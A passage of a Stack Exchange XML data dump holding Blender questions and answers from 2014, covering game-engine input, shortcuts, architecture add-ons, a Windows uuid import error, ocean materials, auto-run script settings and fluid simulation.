  <row Id="7653" PostTypeId="1" CreationDate="2014-03-09T20:18:14.523" Score="2" ViewCount="369" Body="&lt;p&gt;In Blender Game Engine, I'm trying to get input from an RFID reader that reads data in form of 10 digits e.g. 0010293221. I've tried using the 'Keyboard' sensor to get the key. And I've also tried using the 'Always' sensor with true pulse mode too. The key was read fine but not all of it. For example, the RFID that suppose to be read is 0010293221, but I got 01293 or something like this. Let's say it skipped some digit (not particular digit but different digits in each reading) and it didn't read all 10. Sometimes I got 5 digits, sometimes 3, or 1...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried reading and put the input into others program e.g. Notepad and even Blender Text Editor window and it worked just perfect. All 10 digits were read correctly. But within the runtime game there's problem like I describe above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the key input from the RFID reader is too quick (frequent) for BGE or else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any solution for this?&#xA;Please help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-03-12T20:45:58.597" Title="How to get input from RFID reader in Blender Game Engine?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7655" PostTypeId="1" AcceptedAnswerId="7656" CreationDate="2014-03-10T02:49:09.587" Score="2" ViewCount="262" Body="&lt;p&gt;How can one obtain a list of un-assigned keys in Blender (i.e. Q, Alt-Q)? Is there a script for this?&lt;/p&gt;&#xA;" OwnerUserId="2633" LastActivityDate="2014-03-10T04:53:56.207" Title="List of un-assigned keys in Blender 2.69" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7656" PostTypeId="2" ParentId="7655" CreationDate="2014-03-10T04:53:56.207" Score="2" Body="&lt;p&gt;I don't think it can be nice and practical to list all un-assigned keys, since there obviously are too many posibilities with combinations. Furthermore, &lt;strong&gt;same keys can be used in different modes and contexts without conflicts&lt;/strong&gt;, which extends the possibilities even further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as gandalf3 suggested, you can view all shortcuts in &lt;strong&gt;User Preferences&lt;/strong&gt; &gt; Input. Also, when switching &lt;strong&gt;Filter Type&lt;/strong&gt; to &lt;em&gt;Key Binding&lt;/em&gt;, it allows you to search specific key that is currently assigned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KTGxa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing is filtered, then congratulations, it hasn't yet been assigned to any operators among all contexts. You can use it 100% safely:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtyQy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-10T04:53:56.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7657" PostTypeId="1" AcceptedAnswerId="7661" CreationDate="2014-03-10T09:12:22.660" Score="14" ViewCount="13765" Body="&lt;p&gt;My interest in Blender comes from wanting to use it to model physical structures and produce architectural drawings; what I have so far is really impressive, but there doesn't seem to be too much information about my particular interest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any (Blender-) resources that would be particularly useful for architects? E.g. packages of standard 'elements' like windows, doors, roofs or whatever, or perhaps a discussion group specifically for architects?&lt;/p&gt;&#xA;" OwnerUserId="2747" LastEditorUserId="1112" LastEditDate="2014-03-19T11:08:08.533" LastActivityDate="2016-05-09T03:29:10.283" Title="Blender resources for architects?" Tags="&lt;modeling&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="10" CommunityOwnedDate="2014-03-10T14:41:04.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="7660" PostTypeId="2" ParentId="7657" CreationDate="2014-03-10T09:49:51.593" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://rift3d.com/architectural-add-ons-for-blender/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; link pretty much summerises the best addons for Blender to speed up architectural work. And &lt;a href=&quot;http://www.youtube.com/channel/UCUoJMye2LuZQ1b6xBSEbbow?feature=watch&quot; rel=&quot;nofollow&quot;&gt;this youtube channel&lt;/a&gt; shows how to use the Archimesh addon. If you are new to Blender, you should try googling beginner tutorials for Blender to make yourself familiar with its concepts. &lt;a href=&quot;http://www.blenderguru.com/&quot; rel=&quot;nofollow&quot;&gt;BlenderGuru&lt;/a&gt; tutorials are popular for example.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="527" LastEditDate="2014-03-10T12:54:02.173" LastActivityDate="2014-03-10T12:54:02.173" CommentCount="0" CommunityOwnedDate="2014-03-10T14:41:04.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="7661" PostTypeId="2" ParentId="7657" CreationDate="2014-03-10T09:52:39.460" Score="11" Body="&lt;h1&gt;Some resources&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Add-ons&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendernation.com/2013/10/29/archimesh-add-on-creates-architectural-elements/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Archimesh for creating architecture elements&lt;/a&gt; &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Antonioya/blender/tree/master/archimesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendernation.com/2012/11/01/window-generator-new-interface-window-styles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Window Generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vimeo.com/75140413&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chimney Generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vimeo.com/71163940&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jamb Generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vimeo.com/35525542&quot; rel=&quot;nofollow noreferrer&quot;&gt;Balcony Generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Sites:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender3darchitect.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 3D Architect&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Video Tutorials:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blenderguru.com/the-complete-architecture-series/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blenderguru: The complete architecture series&lt;/a&gt;&lt;br&gt;&#xA;&lt;i&gt;&lt;b&gt; Edit:&lt;/b&gt;This tutorial dates back to 2010, the rendering lessons use an external render engine since Cycles wasn't available. (Edited May 3rd 2016). &lt;/i&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cgcookie.com/blender/cgc-courses/interior-3d-architectural-visualization/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cgcookie: Interior 3d architectural visualization&lt;/a&gt;&#xA;&lt;br&gt;&lt;i&gt;&lt;b&gt;Edit:&lt;/b&gt;CGcookie are no longer streaming this tutorial as &quot; it's time for it to be put to rest&quot; yet ZIP files are available to download the lessons.(Edited May 3rd 2016).&lt;/i&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Related questions:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/274/what-are-some-best-practices-when-modelling-with-exact-measurements&quot;&gt;How to model effectively using exact measurements?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/254/how-do-blender-units-and-meters-feet-or-yards-correlate/258#258&quot;&gt;How do blender units and meters, feet, or yards correlate?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2330/is-there-any-way-to-measure-angle-between-edges-faces-or-change-the-angle-so-th&quot;&gt;Is there any way to measure angle between edges/faces, or change the angle so that the mesh changes according to the angle we input?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2016-05-02T00:07:34.980" CommentCount="0" CommunityOwnedDate="2014-03-10T10:19:03.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="7664" PostTypeId="2" ParentId="7657" CreationDate="2014-03-10T15:40:04.780" Score="7" Body="&lt;p&gt;I can't believe no one has mentioned &lt;a href=&quot;http://www.blendernation.com/2014/01/24/interior-design-and-architectural-rendering-with-microvellum-and-blender/&quot;&gt;Microvellum&lt;/a&gt; yet... maybe it's just too specific to interiors, but it looks incredibly powerful.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-03-10T15:40:04.780" CommentCount="0" CommunityOwnedDate="2014-03-10T15:40:04.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="7665" PostTypeId="1" AcceptedAnswerId="7670" CreationDate="2014-03-10T19:05:39.517" Score="2" ViewCount="760" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://docs.python-requests.org/en/latest/&quot; rel=&quot;nofollow&quot; title=&quot;requests&quot;&gt;requests&lt;/a&gt; in my addon. On OSX it seems to work fine but on windows I'm getting this bizarre message box on startup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;---------------------------&#xA;Microsoft Visual C++ Runtime Library&#xA;---------------------------&#xA;Runtime Error!&#xA;&#xA;Program: E:\Blender Foundation\blender.exe&#xA;&#xA;R6034&#xA;&#xA;An application has made an attempt to load the C runtime library incorrectly.&#xA;Please contact the application's support team for more information.&#xA;&#xA;&#xA;---------------------------&#xA;OK   &#xA;---------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blender does run but I can't seem to get rid of this error. I can't see anything in the requests code that would even trigger this issue.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="55" LastEditDate="2014-03-11T02:04:27.877" LastActivityDate="2014-03-11T08:41:59.050" Title="Python's uuid module cause c runtime error in ms-windows" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7667" PostTypeId="2" ParentId="7665" CreationDate="2014-03-10T19:49:01.000" Score="0" Body="&lt;p&gt;Firstly, (though it may not seem like it at first), this is primarily a programming question, so you might have better luck on StackOverflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I don't want to leave you twisting in the wind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my research, this has something to do with Microsoft &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/wwtazz9d.aspx&quot; rel=&quot;nofollow&quot;&gt;manifest&lt;/a&gt; files that are normally generated by Visual Studio. When they are not present or otherwise faulty they cause &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms235560%28v=vs.90%29.aspx&quot; rel=&quot;nofollow&quot;&gt;runtime error R6034&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this seems to suggest to me is that there is something wrong with your Python distro, or you haven't instructed VS to include manifest files in your Windows distribution... or they're in the wrong place... or something else...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I got most of these answers literally by Googling &quot;R6034,&quot; so &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there's no guarantee they're correct ;-) &lt;/li&gt;&#xA;&lt;li&gt;it seems like there's plenty of info out there to help get you the rest of the way to the solution.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-03-10T19:49:01.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7668" PostTypeId="1" CreationDate="2014-03-10T22:31:38.890" Score="15" ViewCount="18183" Body="&lt;p&gt;How do I color &amp;amp; texture a Plane with the Ocean Modifier?  I first create a Plane, then I 'Add Modifier' and choose 'Ocean'  I now want to make the surface look like an ocean but don't know how. I then animate the Ocean.&#xA;WFR&lt;/p&gt;&#xA;" OwnerUserId="2757" LastActivityDate="2017-10-04T15:44:08.670" Title="Coloring an Ocean" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7669" PostTypeId="2" ParentId="7668" CreationDate="2014-03-10T22:49:48.913" Score="24" Body="&lt;p&gt;You must &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Assigning_a_material&quot;&gt;add a &lt;em&gt;Material&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a material, press &lt;em&gt;New&lt;/em&gt; in &lt;em&gt;Properties &gt; Materials&lt;/em&gt; with the ocean selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/up1Ee.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that your world/sky setup will (and should) influence the look of the ocean material a lot, since the real ocean gets it's color from the sky.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For a basic ocean shader in cycles you probably want to use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Glossy&quot;&gt;glossy&lt;/a&gt; or a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Glass&quot;&gt;glass&lt;/a&gt; shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either use the interface in the &lt;em&gt;Properties panel&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tfWxj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Editor&quot;&gt;&lt;em&gt;Node editor&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/42B3Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a slightly more complex ocean shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ru2Tn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ALmBk.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALmBk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For a basic ocean material in BI, enable &lt;em&gt;Mirror&lt;/em&gt; and tweak the &lt;em&gt;Diffuse&lt;/em&gt;, &lt;em&gt;Specular&lt;/em&gt;, and &lt;em&gt;Mirror&lt;/em&gt; colors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FNEQJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v16Ec.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v16Ec.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-10T23:22:23.413" LastActivityDate="2014-03-10T23:22:23.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7670" PostTypeId="2" ParentId="7665" CreationDate="2014-03-11T02:02:28.523" Score="5" Body="&lt;p&gt;This is a very unfortunate glitch, at the moment has no nice solution. Both Blender and Python devs are aware of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is with importing &lt;code&gt;uuid&lt;/code&gt; (which &lt;code&gt;requests&lt;/code&gt; happens to use).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, you can workaround this by temporarily disabling &lt;code&gt;ctypes&lt;/code&gt; with the &lt;code&gt;uuid&lt;/code&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bugs.python.org/issue17213&quot; rel=&quot;nofollow&quot;&gt;http://bugs.python.org/issue17213&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.blender.org/T38364&quot; rel=&quot;nofollow&quot;&gt;http://developer.blender.org/T38364&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.blender.org/T27666&quot; rel=&quot;nofollow&quot;&gt;http://developer.blender.org/T27666&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;from: &lt;code&gt;addons/io_online_sketchfab/__init__.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# uuid module causes an error messagebox on windows.&#xA;#&#xA;# using a dirty workaround to preload uuid without ctypes,&#xA;# until blender gets compiled with vs2013&#xA;def uuid_workaround():&#xA;    import platform&#xA;    if platform.system() == &quot;Windows&quot;:&#xA;        import ctypes&#xA;        CDLL = ctypes.CDLL&#xA;        ctypes.CDLL = None&#xA;        import uuid&#xA;        ctypes.CDLL = CDLL&#xA;&#xA;uuid_workaround()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# now import a module which uses 'uuid'&#xA;import requests&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We'll likely be updating to vc2013 for Blender 2.71, I'm not sure if this resolves the issue though, this needs some further investigation from an ms-windows developer.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-03-11T08:41:59.050" LastActivityDate="2014-03-11T08:41:59.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7671" PostTypeId="2" ParentId="7657" CreationDate="2014-03-11T02:43:34.313" Score="3" Body="&lt;p&gt;I would strongly recommend using the &lt;a href=&quot;http://www.sweethome3d.com/userGuide.jsp#exportToOBJ&quot; rel=&quot;nofollow&quot;&gt;Sweethome&lt;/a&gt; editor for things like floor plans and basic furniture. Environments can be exported into Blender. &lt;/p&gt;&#xA;" OwnerUserId="2695" LastActivityDate="2014-03-11T02:43:34.313" CommentCount="0" CommunityOwnedDate="2014-03-11T02:43:34.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="7672" PostTypeId="2" ParentId="1875" CreationDate="2014-03-11T03:10:16.383" Score="25" Body="&lt;p&gt;I've experienced such need in my project long time ago. I did it with the help of &lt;a href=&quot;http://funkboxing.com/wordpress/?p=301&quot; rel=&quot;noreferrer&quot;&gt;Laplacian Lightning&lt;/a&gt; addon, too. My suggestion is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For the varieties of lightning, you can keep on clicking &lt;strong&gt;generate lightning&lt;/strong&gt; button on the Laplacian Lightning tool panel until getting enough varieties. It will generate random result each time based on the parameter setting.&lt;/li&gt;&#xA;&lt;li&gt;For the &quot;show time&quot;, first group them together, then simply add particle to a plane or something to emit that group, set &lt;em&gt;Lifetime&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt;. The &lt;em&gt;Number&lt;/em&gt; value is quite nice for controlling the frequency.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U33bA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-11T04:00:27.963" LastActivityDate="2014-03-11T04:00:27.963" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7673" PostTypeId="1" AcceptedAnswerId="7674" CreationDate="2014-03-11T08:54:31.587" Score="9" ViewCount="3329" Body="&lt;p&gt;We have a preferences option to enable auto-run of python scripts when opening blend files. We can also add paths that are excluded from auto-running scripts. Then we have a cli options to enable or disable auto-running scripts and to bypass the startup.blend with &lt;code&gt;--factory-startup&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regard to auto-running scripts which of these options overrides all others?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my startup.blend disables auto-run, can a python script be run from the cli to enable auto-run for the blend being opened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;--factory-startup&lt;/code&gt; bypass my auto-run settings?&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="55" LastEditDate="2015-06-25T23:52:42.937" LastActivityDate="2015-06-25T23:52:42.937" Title="Auto-run scripts security options" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7674" PostTypeId="2" ParentId="7673" CreationDate="2014-03-11T09:02:25.797" Score="8" Body="&lt;p&gt;It seems that the order is as follows (in order from weakest to strongest):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Startup .blend settings (does not override anything)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;--factory-startup&lt;/code&gt; will override all startup .blend preferences (including auto exec), but the default setting for auto exec is disabled (disallowing auto execution globally).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;-y&lt;/code&gt; (&lt;code&gt;--enable-autoexec&lt;/code&gt;) &lt;em&gt;enables&lt;/em&gt; &lt;br&gt;&lt;code&gt;-Y&lt;/code&gt; (&lt;code&gt;--disable-autoexec&lt;/code&gt;) &lt;em&gt;disables&lt;/em&gt;&lt;br&gt;Both these options override the startup &lt;code&gt;.blend&lt;/code&gt; auto exec preferences (including when used with &lt;code&gt;--factory-startup&lt;/code&gt;) allowing auto execution. Note that it does not edit the preferences (even temporarily), it just allows execution.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Running a script with &lt;code&gt;-P&lt;/code&gt; (&lt;code&gt;--python&lt;/code&gt;, &lt;code&gt;--python-text&lt;/code&gt;, &lt;code&gt;--python-expr&lt;/code&gt;) will execute the script immediately ignoring auto-execution settings. It is possible to enable auto-execution from such a script.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="55" LastEditDate="2015-06-25T23:52:09.310" LastActivityDate="2015-06-25T23:52:09.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7675" PostTypeId="1" CreationDate="2014-03-11T10:37:47.483" Score="1" ViewCount="357" Body="&lt;p&gt;I have installed blender 2.69 and it says that volumetric shaders will be supported but i cannot find them. Do i have to download then as an add on?&lt;/p&gt;&#xA;" OwnerUserId="2760" LastActivityDate="2014-03-11T20:13:49.557" Title="volumetric shaders missing in blender 2.69" Tags="&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7676" PostTypeId="2" ParentId="7675" CreationDate="2014-03-11T12:25:17.577" Score="3" Body="&lt;p&gt;Volumetrics have been added in 2.70, not 2.69.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the Release Candidate here: &lt;a href=&quot;http://blender.org/development/blender-2-70-release-candidate&quot; rel=&quot;nofollow&quot;&gt;blender.org/development/blender-2-70-release-candidate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(A final stable version has not been released yet)&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-03-11T12:25:17.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7677" PostTypeId="1" CreationDate="2014-03-11T13:16:02.630" Score="1" ViewCount="2424" Body="&lt;p&gt;This is what I get when I import a character in Blender : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HYTg9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the character is not in the right position. I would like to see it &quot;standing&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I rotate the camera like this ? (here I just rotated the screenshot I took)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/78G65.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is my only solution to rotate the character itself ?&lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2014-04-10T15:47:03.820" Title="Change imported model orientation" Tags="&lt;modeling&gt;&lt;camera&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7678" PostTypeId="2" ParentId="7677" CreationDate="2014-03-11T13:19:55.587" Score="1" Body="&lt;p&gt;You can easily fix this, no need to move the camera to compensate for the orientation of the mesh. You can rotate the mesh by adjusting the rotation in the properties tab, you can also use the mesh tab. You can also do this for many method for multiple objects. Just select the object that need to be fixed and rotate them via &lt;kbd&gt;r&lt;/kbd&gt; &lt;kbd&gt;x&lt;/kbd&gt; &lt;kbd&gt;90&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yd3I7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also fix this when you import the mesh. I am assuming you are importing as .obj but this should also work for others. When you import the mesh set the &lt;em&gt;Foawrd&lt;/em&gt; axis to -Y and the &lt;em&gt;Up&lt;/em&gt; axis to Z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OuX9Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-11T14:56:24.320" LastActivityDate="2014-03-11T14:56:24.320" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7679" PostTypeId="1" CreationDate="2014-03-11T13:40:54.183" Score="2" ViewCount="2818" Body="&lt;p&gt;I am using 2.70 with Cycles to recreate Ian McGlasham's &lt;a href=&quot;http://www.blendernation.com/2013/05/16/some-cool-fluid-animations/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Alice Blender Fluid Cycles&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for some reason my fluid does not fill the entire text -- for some reason it only fills part of the text:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qLj8m.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously, this gap was much larger and I made the gap much smaller by increasing the Final Resolution of the domain object from 65 to 200. This was a HUGE improvement, so I assume maybe I need to increase the Final Resolution even more to have the fluid finally touch the walls of the container. However, when I see how finely the fluid mesh is already divided, it's surprising that's not enough resolution/faces to be able to conform fully to the container walls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the fluid mesh looks like it should have enough resolution (small enough faces) to conform to the shape of the container, I am wondering if maybe I need to change the Surface Smooth and/or Surface Subdivisions settings in the Fluid Boundary section, or do they need to be used at all? As you can see in the picture, I have Surface Smooth set to 1.0 and Subdivisions set to 3. I read that increasing these can greatly increase the render time and may also cause Blender to crash if you run out of RAM, and I only have 2GB of RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in order to get the fluid to fully conform to the container, do you think I should:&lt;br&gt;&#xA;- increase the Final Resolution&lt;br&gt;&#xA;- increase the Surface Smooth&lt;br&gt;&#xA;- increase the Subdivisions&lt;br&gt;&#xA;- or some of each, and if so which ones  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do I need to have the Surface Subdivisions set to 3 or can I turn that back down to 2 or lower? It takes so long to bake on my computer that I'd love to understand these settings and not have to learn by days and days of trial and error, so any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here is my &lt;a href=&quot;https://drive.google.com/file/d/0B_yQeQQ8ImENSVJ6NHB4RWFWbWM/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;current blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2173" 